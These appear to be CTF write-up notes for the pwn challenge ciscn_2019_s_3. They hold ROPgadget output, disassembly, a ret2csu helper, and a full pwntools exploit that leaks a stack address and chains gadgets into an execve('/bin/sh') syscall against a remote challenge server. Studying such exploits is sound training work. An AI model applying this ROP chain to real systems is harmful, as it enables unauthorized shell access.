grxer@Ubuntu16 ~/D/pwn> ROPgadget --binary 'ciscn_2019_s_3' --only 'pop|ret' Gadgets information ============================================================ 0x000000000040059c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040059e : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004005a0 : pop r14 ; pop r15 ; ret 0x00000000004005a2 : pop r15 ; ret 0x000000000040059b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040059f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400440 : pop rbp ; ret 0x00000000004005a3 : pop rdi ; ret 0x00000000004005a1 : pop rsi ; pop r15 ; ret 0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004003a9 : ret
rdx置零需要cmu
.text:0000000000400580 4C 89 EA mov rdx, r13 .text:0000000000400583 4C 89 F6 mov rsi, r14 .text:0000000000400586 44 89 FF mov edi, r15d .text:0000000000400589 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] .text:0000000000400589 .text:000000000040058D 48 83 C3 01 add rbx, 1 .text:0000000000400591 48 39 EB cmp rbx, rbp .text:0000000000400594 75 EA jnz short loc_400580 .text:0000000000400594 .text:0000000000400596 .text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400596 48 83 C4 08 add rsp, 8 .text:000000000040059A 5B pop rbx .text:000000000040059B 5D pop rbp .text:000000000040059C 41 5C pop r12 .text:000000000040059E 41 5D pop r13 .text:00000000004005A0 41 5E pop r14 .text:00000000004005A2 41 5F pop r15 .text:00000000004005A4 C3 retn .text:00000000004005A4 ; } // starts at 400540
defcsu(rbx,rbp,r12_call,r13_a3,r14_a2,r15_a1,last_ret):#注意第三个参数是call的r12寄存器所存地址里的地址call qword ptr [r12+rbx*8] ''' rbx=0 rbp=1 r12= call the address in address r13= rdx third argument r14= rsi second argument r15= edi first argument last= ret address ''' payload=padding+fake_rbp+p64(cmu_end)+p64(rbx)+p64(rbp)+p64(r12_call)+p64(r13_a3)+p64(r14_a2)+p64(r15_a1)+p64(cmu_front) payload+=fake_reg+p64(last_ret) io.send(payload) #fake_reg一般56字节
exp
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./ciscn_2019_s_3' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote('node4.buuoj.cn','29483') else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y)) db('b *0x0400501') ret_fun=0x04004ED csu_end = 0x040059A csu_front = 0x0400580 rdi=0x00000000004005a3 syscall=0x400517 mov_rax=0x4004E2 s(b'/bin/sh\x00'.ljust(0x10,b'a')+p64(ret_fun)) r(0x20) ebp=u64(r(6).ljust(8,b'\x00'))-0x118 p('ebp',ebp) padding=b'/bin/sh\x00'.ljust(0x10,b'a') #first way payload=padding+p64(csu_end)+p64(0)*2+p64(ebp+0x50)+p64(0)*3+p64(csu_front)+p64(mov_rax)+p64(rdi)+p64(ebp)+p64(syscall) #second way # payload=padding+p64(csu_end)+p64(0)+p64(1)+p64(ebp+0x50)+p64(0)+p64(0)+p64(0)+p64(csu_front)+p64(mov_rax) # payload+=b'a'*48+p64(rdi)+p64(ebp)+p64(syscall) s(payload) io.interactive()